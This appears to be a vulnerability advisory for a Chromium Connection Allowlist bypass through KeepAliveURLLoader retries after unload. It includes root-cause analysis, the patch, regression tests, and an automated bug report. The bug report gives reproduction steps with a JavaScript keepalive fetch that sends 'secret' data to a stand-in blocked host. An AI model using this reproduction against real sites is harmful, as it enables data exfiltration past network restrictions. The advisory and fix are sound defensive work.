CVE-2026-79262
Overview
Background
- Keepalive fetch / `KeepAliveURLLoader`
- A browser-process loader that keeps a
fetch(..., {keepalive:true})request alive after its renderer/document unloads, so the request (and configured retries) can complete without the originating page. - Fetch retry (`fetch_retry_options`)
- Per-request options (
max_attempts,max_age,retry_after_unload) that let a keepalive request be retried, including after the document has unloaded. - Connection Allowlist (C-A)
- A per-document network restriction that blocks disallowed requests with an access-denied error; its restriction id is cleared roughly 60 seconds after unload.
- `MaybeScheduleRetry` / `IsEligibleForRetry`
MaybeScheduleRetrydecides whether to schedule a retry for a given completion status, delegating eligibility toIsEligibleForRetry, which consultsIsNetErrorEligibleForRetry()andIsServerGuaranteedToBeNotReachedYet().
Root Cause Analysis
In keep_alive_url_loader.cc, when a renderer disconnected, the disconnect-handling path decided whether to keep the loader alive for a retry by calling MaybeScheduleRetry(/*completion_status=*/std::nullopt). Passing std::nullopt told MaybeScheduleRetry there was no prior completion result—i.e. the request had not yet failed—so it bypassed the eligibility check that would have consulted the actual error and scheduled a retry unconditionally. This dropped the original completion status, including a Connection Allowlist access-denied error that is ineligible for retry (its net error is in neither IsNetErrorEligibleForRetry() nor IsServerGuaranteedToBeNotReachedYet()); if the retry then ran after the document’s network restriction id was cleared (~60s post-unload), the previously blocked request would be permitted. The invariant violated is that a request blocked by an access-control error must not become retryable merely because the renderer disconnected and the original error was discarded.
The fix records the most recent attempt’s status in last_attempt_completion_status_ (set in the error/retry path, cleared to std::nullopt when a retry is scheduled) and, on disconnect, calls MaybeScheduleRetry(last_attempt_completion_status_) so the real error’s eligibility is evaluated: an ineligible C-A error now yields no retry and the loader is deleted, while a genuinely resultless request (std::nullopt) may still retry.
std::nullopt as the completion status on the disconnect retry path, which discarded the original access-denied error and made an ineligible request retryable; the fix threads the real last_attempt_completion_status_ into MaybeScheduleRetry so retry eligibility is judged against the actual error.Attack Path
- Issue a keepalive fetch with retry-after-unload
A page starts a keepalive
fetchwhosefetch_retry_optionssetretry_after_unload = true(and a largemax_attempts/max_age). - Request is blocked by the Connection Allowlist
The request completes with the C-A access-denied error (e.g.
net::ERR_NETWORK_ACCESS_REVOKED), which is not eligible for retry; the loader is nonetheless kept alive to delay reporting the error. - Trigger renderer disconnect The document unloads/navigates away, disconnecting the renderer and invoking the disconnect handler.
- Retry scheduled despite ineligible error
Pre-patch, the handler called
MaybeScheduleRetry(std::nullopt), discarding the access-denied status and scheduling a retry as if no failure had occurred. - Retry runs after restriction lifts If the retry fires after the document’s network restriction id is cleared (~60 seconds after unload), the previously blocked request is permitted, bypassing the Connection Allowlist for that request.
Impact Assessment
AuthorizationError / “Incorrect authorization in Network”; the preconditions are a keepalive fetch configured with retry_after_unload and a subsequent renderer disconnect followed by expiry of the network restriction id. The advisory does not state exploitation in the wild, and any impact beyond the demonstrated allowlist bypass is (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fcontent/browser/loader/keep_alive_url_loader_service_unittest.cc |
modified | |
ifcontent/browser/loader/keep_alive_url_loader_service_unittest.cc |
modified |
Files Changed
content/browser/loader/keep_alive_url_loader_service_unittest.cccontent/browser/loader/keep_alive_url_loader.hcontent/browser/loader/keep_alive_url_loader.cc
Audit Directions
- Sentinel status/`std::nullopt` on error pathsLook for retry, resend, or fallback logic that substitutes a “no result” sentinel for the real completion status, thereby skipping eligibility/authorization checks tied to the actual error.
- State cleared on disconnect/unloadAudit loaders and long-lived browser-process objects that outlive their renderer for security state (allowlists, restriction ids, error codes) that is dropped or reset on disconnect and then not re-evaluated before continuing work.
- Time-window authorizationReview any authorization keyed to a per-document id that expires after unload, ensuring deferred/retried operations re-check the original decision rather than benefiting from the id being cleared.
Patch
From f32637e666d60dcb31153d775cb431596887b852 Mon Sep 17 00:00:00 2001 From: Shivani Sharma <[email protected]> Date: Wed, 22 Jul 2026 07:57:17 -0700 Subject: [PATCH] [Connection-Allowlist] KeepAlive Retry issue fix KeepAliveURLLoader allows a blocked keepalive fetch request to schedule a retry after the renderer disconnects by dropping the original Connection Allowlist's access-denied error. If this retry occurs after the document's network restriction id is cleared (60 seconds after unload), it permits the previously blocked request. The fix is to make sure that the initial error is checked before the request is retried. Since C-A's error code is not in either of the error code lists checked in IsNetErrorEligibleForRetry() or IsServerGuaranteedToBeNotReachedYet(), the function KeepAliveURLLoader::IsEligibleForRetry() returns false. Bug: 497338168 Change-Id: If67f7ada74c5aba497ccae101b2413245439a533 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8130778 Reviewed-by: Kenichi Ishibashi <[email protected]> Commit-Queue: Shivani Sharma <[email protected]> Cr-Commit-Position: refs/heads/main@{#1666296} --- diff --git a/content/browser/loader/keep_alive_url_loader.cc b/content/browser/loader/keep_alive_url_loader.cc index 4028c34..4264fd7 100644 --- a/content/browser/loader/keep_alive_url_loader.cc +++ b/content/browser/loader/keep_alive_url_loader.cc @@ -987,6 +987,7 @@ // received another error signal after this (e.g. OnComplete with error // happened, then the disconnection triggers CancelWithStatus). url_loader_.reset(); + last_attempt_completion_status_ = std::nullopt; // Set a timer to delete self when the max age has been reached. Note that // we check if the timer is already set here, because it could've been set @@ -1216,6 +1217,7 @@ return false; } + last_attempt_completion_status_ = status; // Schedule retry if needed. if (MaybeScheduleRetry(status)) { return true; @@ -1359,7 +1361,7 @@ if (resource_request_.fetch_retry_options.has_value() && resource_request_.fetch_retry_options->retry_after_unload && (IsAttemptingRetry(/*include_failed_retry=*/false) || - MaybeScheduleRetry(/*completion_status=*/std::nullopt))) { + MaybeScheduleRetry(last_attempt_completion_status_))) { // A retry is already pending or we just scheduled a retry. Don't delete // the loader, and instead keep it around for the retry. return; diff --git a/content/browser/loader/keep_alive_url_loader.h b/content/browser/loader/keep_alive_url_loader.h index 896289e..cdc171a5 100644 --- a/content/browser/loader/keep_alive_url_loader.h +++ b/content/browser/loader/keep_alive_url_loader.h @@ -29,6 +29,7 @@ #include "net/url_request/url_request.h" #include "services/metrics/public/cpp/ukm_source_id.h" #include "services/network/public/cpp/resource_request.h" +#include "services/network/public/cpp/url_loader_completion_status.h" #include "services/network/public/mojom/url_loader.mojom.h" #include "services/network/public/mojom/url_response_head.mojom.h" #include "third_party/blink/public/common/features.h" @@ -356,6 +357,10 @@ CookiesClearingWillDeleteRetryingLoader); FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest, FailedMaxAttemptWillForwardLastError); + FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest, + IneligibleErrorWillNotBeRetriedOnDisconnect); + FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest, + NoResultWillBeRetriedOnDisconnect); // These values are persisted to logs. Entries should not be renumbered and // numeric values should never be reused. @@ -506,6 +511,12 @@ }; RetryState retry_state_ = RetryState::kNotAttemptingRetry; + // Stores the completion status of the most recent attempt. + // Set in `RetryOrDelayErrorIfNeeded()` when an error occurs, and reset in + // `MaybeScheduleRetry()` when a retry is scheduled. + std::optional<network::URLLoaderCompletionStatus> + last_attempt_completion_status_; + // The last delay used for `retry_timer_` to schedule a retry. base::TimeDelta last_retry_delay_; diff --git a/content/browser/loader/keep_alive_url_loader_service_unittest.cc b/content/browser/loader/keep_alive_url_loader_service_unittest.cc index 350a1ec7..634c9f2 100644 --- a/content/browser/loader/keep_alive_url_loader_service_unittest.cc +++ b/content/browser/loader/keep_alive_url_loader_service_unittest.cc @@ -1384,10 +1384,15 @@ static constexpr base::TimeDelta kMinRetryDeltaForTesting = base::Seconds(10); static constexpr double kMinRetryBackoffFactorForTesting = 10.0; static constexpr base::TimeDelta kMaxRetryAgeForTesting = base::Days(1); + static constexpr base::TimeDelta kDisconnectedLoaderTimeoutForTesting = + base::Seconds(30); void SetUp() override { feature_list().InitWithFeaturesAndParameters( - {{blink::features::kKeepAliveInBrowserMigration, {}}, + {{blink::features::kKeepAliveInBrowserMigration, + {{"disconnected_loader_timeout_seconds", + base::NumberToString( + kDisconnectedLoaderTimeoutForTesting.InSeconds())}}}, {blink::features::kFetchRetry, { {"max_retry_count", @@ -1975,4 +1980,105 @@ EXPECT_FALSE(loader.get()); } +// Test that when a request completes with an error ineligible for retry, and +// the renderer subsequently disconnects, the loader will not attempt to retry. +TEST_F(KeepAliveURLLoaderServiceRetryTest, + IneligibleErrorWillNotBeRetriedOnDisconnect) { + FakeRemoteURLLoaderFactory renderer_loader_factory; + MockReceiverURLLoaderClient renderer_loader_client; + BindKeepAliveURLLoaderFactory(renderer_loader_factory); + + auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl)); + network::FetchRetryOptions options; + options.max_attempts = 10; + options.max_age = base::Days(1); + options.retry_after_unload = true; + resource_request.fetch_retry_options = options; + + // Loads keepalive request: + renderer_loader_factory.CreateLoaderAndStart( + resource_request, renderer_loader_client.BindNewPipeAndPassRemote()); + EXPECT_EQ(network_url_loader_factory().NumPending(), 1); + EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u); + + base::WeakPtr<KeepAliveURLLoader> loader = + loader_service().GetLoaderWithRequestIdForTesting( + FakeRemoteURLLoaderFactory::kRequestId); + + // Complete with an ineligible error. + loader->OnComplete( + network::URLLoaderCompletionStatus(net::ERR_NETWORK_ACCESS_REVOKED)); + + // The request is not eligible for retry, but the loader is kept alive to + // delay sending the error until max_age is reached. + EXPECT_FALSE(loader->IsAttemptingRetry(/*include_failed_retry=*/false)); + EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u); + + // Disconnects and unbinds the receiver client & remote loader. + renderer_loader_client.ResetReceiver(); + renderer_loader_factory.reset_remote_url_loader(); + { + base::RunLoop run_loop; + run_loop.QuitWhenIdle(); + run_loop.Run(); + } + + // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired + // runs. + task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting); + + // Because the previous completion status was an ineligible error, + // OnDisconnectedLoaderTimerFired should not schedule a retry and should + // delete the loader. + EXPECT_EQ(loader_service().NumLoadersForTesting(), 0u); + EXPECT_FALSE(loader.get()); +} + +// Test that when no completion result is received before renderer +// disconnection, the loader will attempt a retry upon disconnect timer firing +// if configured. +TEST_F(KeepAliveURLLoaderServiceRetryTest, NoResultWillBeRetriedOnDisconnect) { + FakeRemoteURLLoaderFactory renderer_loader_factory; + MockReceiverURLLoaderClient renderer_loader_client; + BindKeepAliveURLLoaderFactory(renderer_loader_factory); + + auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl)); + network::FetchRetryOptions options; + options.max_attempts = 10; + options.max_age = base::Days(1); + options.retry_after_unload = true; + resource_request.fetch_retry_options = options; + + // Loads keepalive request: + renderer_loader_factory.CreateLoaderAndStart( + resource_request, renderer_loader_client.BindNewPipeAndPassRemote()); + EXPECT_EQ(network_url_loader_factory().NumPending(), 1); + EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u); + + base::WeakPtr<KeepAliveURLLoader> loader = + loader_service().GetLoaderWithRequestIdForTesting( + FakeRemoteURLLoaderFactory::kRequestId); + + // Disconnect without completing the request. + renderer_loader_client.ResetReceiver(); + renderer_loader_factory.reset_remote_url_loader(); + { + base::RunLoop run_loop; + run_loop.QuitWhenIdle(); + run_loop.Run(); + } + + // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired + // runs. + task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting); + + // Because there was no completion status yet, OnDisconnectedLoaderTimerFired + // should schedule a retry and keep the loader alive. + EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u); + EXPECT_TRUE(loader.get()); + if (loader) { + EXPECT_TRUE(loader->IsAttemptingRetry(/*include_failed_retry=*/false)); + } +} + } // namespace content
Regression Test / PoC
diff --git a/content/browser/loader/keep_alive_url_loader_service_unittest.cc b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
index 350a1ec7..634c9f2 100644
--- a/content/browser/loader/keep_alive_url_loader_service_unittest.cc
+++ b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
@@ -1384,10 +1384,15 @@
static constexpr base::TimeDelta kMinRetryDeltaForTesting = base::Seconds(10);
static constexpr double kMinRetryBackoffFactorForTesting = 10.0;
static constexpr base::TimeDelta kMaxRetryAgeForTesting = base::Days(1);
+ static constexpr base::TimeDelta kDisconnectedLoaderTimeoutForTesting =
+ base::Seconds(30);
void SetUp() override {
feature_list().InitWithFeaturesAndParameters(
- {{blink::features::kKeepAliveInBrowserMigration, {}},
+ {{blink::features::kKeepAliveInBrowserMigration,
+ {{"disconnected_loader_timeout_seconds",
+ base::NumberToString(
+ kDisconnectedLoaderTimeoutForTesting.InSeconds())}}},
{blink::features::kFetchRetry,
{
{"max_retry_count",
@@ -1975,4 +1980,105 @@
EXPECT_FALSE(loader.get());
}
+// Test that when a request completes with an error ineligible for retry, and
+// the renderer subsequently disconnects, the loader will not attempt to retry.
+TEST_F(KeepAliveURLLoaderServiceRetryTest,
+ IneligibleErrorWillNotBeRetriedOnDisconnect) {
+ FakeRemoteURLLoaderFactory renderer_loader_factory;
+ MockReceiverURLLoaderClient renderer_loader_client;
+ BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+ auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+ network::FetchRetryOptions options;
+ options.max_attempts = 10;
+ options.max_age = base::Days(1);
+ options.retry_after_unload = true;
+ resource_request.fetch_retry_options = options;
+
+ // Loads keepalive request:
+ renderer_loader_factory.CreateLoaderAndStart(
+ resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+ EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+ EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+ base::WeakPtr<KeepAliveURLLoader> loader =
+ loader_service().GetLoaderWithRequestIdForTesting(
+ FakeRemoteURLLoaderFactory::kRequestId);
+
+ // Complete with an ineligible error.
+ loader->OnComplete(
+ network::URLLoaderCompletionStatus(net::ERR_NETWORK_ACCESS_REVOKED));
+
+ // The request is not eligible for retry, but the loader is kept alive to
+ // delay sending the error until max_age is reached.
+ EXPECT_FALSE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+ EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+ // Disconnects and unbinds the receiver client & remote loader.
+ renderer_loader_client.ResetReceiver();
+ renderer_loader_factory.reset_remote_url_loader();
+ {
+ base::RunLoop run_loop;
+ run_loop.QuitWhenIdle();
+ run_loop.Run();
+ }
+
+ // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+ // runs.
+ task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+ // Because the previous completion status was an ineligible error,
+ // OnDisconnectedLoaderTimerFired should not schedule a retry and should
+ // delete the loader.
+ EXPECT_EQ(loader_service().NumLoadersForTesting(), 0u);
+ EXPECT_FALSE(loader.get());
+}
+
+// Test that when no completion result is received before renderer
+// disconnection, the loader will attempt a retry upon disconnect timer firing
+// if configured.
+TEST_F(KeepAliveURLLoaderServiceRetryTest, NoResultWillBeRetriedOnDisconnect) {
+ FakeRemoteURLLoaderFactory renderer_loader_factory;
+ MockReceiverURLLoaderClient renderer_loader_client;
+ BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+ auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+ network::FetchRetryOptions options;
+ options.max_attempts = 10;
+ options.max_age = base::Days(1);
+ options.retry_after_unload = true;
+ resource_request.fetch_retry_options = options;
+
+ // Loads keepalive request:
+ renderer_loader_factory.CreateLoaderAndStart(
+ resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+ EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+ EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+ base::WeakPtr<KeepAliveURLLoader> loader =
+ loader_service().GetLoaderWithRequestIdForTesting(
+ FakeRemoteURLLoaderFactory::kRequestId);
+
+ // Disconnect without completing the request.
+ renderer_loader_client.ResetReceiver();
+ renderer_loader_factory.reset_remote_url_loader();
+ {
+ base::RunLoop run_loop;
+ run_loop.QuitWhenIdle();
+ run_loop.Run();
+ }
+
+ // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+ // runs.
+ task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+ // Because there was no completion status yet, OnDisconnectedLoaderTimerFired
+ // should schedule a retry and keep the loader alive.
+ EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+ EXPECT_TRUE(loader.get());
+ if (loader) {
+ EXPECT_TRUE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+ }
+}
+
} // namespace content
Original Bug Report
Connection-Allowlist bypass via KeepAliveURLLoader retry state machine flaw
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch request to schedule a retry after the renderer disconnects by dropping the original access-denied error. If this retry occurs after the document’s network revocation nonce is cleared (60 seconds after unload), the network service’s fail-open design permits the previously blocked request. This enables potential data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames.
Affected files:
services/network/network_context.cccontent/browser/loader/keep_alive_url_loader.ccservices/network/cors/cors_url_loader_factory.cccontent/browser/storage_partition_impl.cc
Estimated timestamp from git blame: 2025-07-16
Summary
There is a potential security vulnerability in the interaction between the KeepAliveURLLoader retry mechanism and document-level network restrictions (like Connection-Allowlist or Fenced Frames). An attacker can bypass these network restrictions by intentionally triggering a blocked keepalive request, unloading the document, and forcing a delayed retry that executes after the document’s security nonce has been cleared from the network service.
Note: The steps described below are theoretical and based on codebase analysis; a working proof-of-concept has not been executed. This attack relies on the kConnectionAllowlists and kFetchRetry features being enabled.
Vulnerability Mechanics
- Initial Block: A restricted document initiates a
fetchwithkeepalive: trueandretryOptions: { retryAfterUnload: true, maxAge: 86400000 }to a blocked URL. The network service blocks it, sendingnet::ERR_NETWORK_ACCESS_REVOKEDtoKeepAliveURLLoader::OnComplete. - Error Delayed:
KeepAliveURLLoader::RetryOrDelayErrorIfNeededchecks if the error is retryable. It is not (fatal access error). However, because the renderer is still connected andmaxAgehasn’t expired, the loader delays sending the error to avoid timing leaks, startingmax_age_handler_timer_and keeping the loader alive. - Renderer Disconnect: The attacker navigates away, unloading the document. This disconnects the renderer from the
KeepAliveURLLoader, starting a 30-seconddisconnected_loader_timer_. Simultaneously,StoragePartitionImplschedules a 60-second delayed task to clear the document’s network revocation nonce in the Network Service. - State Machine Flaw: When the 30-second disconnect timer fires,
KeepAliveURLLoader::OnDisconnectedLoaderTimerFiredseesretry_after_unloadis true and callsMaybeScheduleRetry(/*completion_status=*/std::nullopt). Because no status is provided, it bypassesIsNetErrorEligibleForRetry, “forgetting” the fatalERR_NETWORK_ACCESS_REVOKEDerror and forcefully scheduling a retry. - Wait for NIK: The retry logic pauses because there is no active document with the original
NetworkIsolationKey(NIK). - Nonce Clearance: At 60 seconds, the Network Service clears the document’s nonce from
NetworkContext::network_revocation_nonces_. - Bypass: The attacker navigates back to the site, satisfying the NIK requirement. The retry resumes.
NetworkContext::IsNetworkForNonceAndUrlAllowedevaluates the request, but because the nonce is no longer innetwork_revocation_nonces_, it falls back to its fail-open design and returnstrue. The request to the blocked URL succeeds.
Potential Reproduction Steps
- Ensure
network::features::kConnectionAllowlistsandblink::features::kFetchRetryare enabled. - Serve a document at
https://victim.testrestricted by aConnection-Allowlistto only allowhttps://allowed.test/*. - In the restricted document, execute the following JavaScript:
fetch('https://blocked.test/exfil?data=secret', {
keepalive: true,
retryOptions: {
maxAttempts: 10,
retryAfterUnload: true,
maxAge: 86400000
}
});
- Navigate the tab to
about:blank. - Wait for at least 65 seconds (to allow the 60-second nonce clearance timer to fire).
- Navigate the tab back to
https://victim.test. - Observe that the retry request is dispatched to
https://blocked.testand succeeds, bypassing the allowlist.
Proposed Fix
- Fix
KeepAliveURLLoaderState Machine: InKeepAliveURLLoader::OnDisconnectedLoaderTimerFired, if the request previously completed with a fatal error (currently stored/pending viamax_age_handler_timer_), do not callMaybeScheduleRetry(std::nullopt). It should use the actual stored completion status if one exists, which would correctly fail theIsNetErrorEligibleForRetrycheck. - Harden
NetworkContext: Consider changing the fail-open design ofIsNetworkForNonceAndUrlAllowed. If a request arrives with anisolation_info.nonce(), and that nonce is completely unknown to theNetworkContext(because it was cleared), it might be safer to fail-closed or validate the lifecycle of the nonce against the request’s origin.
Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0
Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.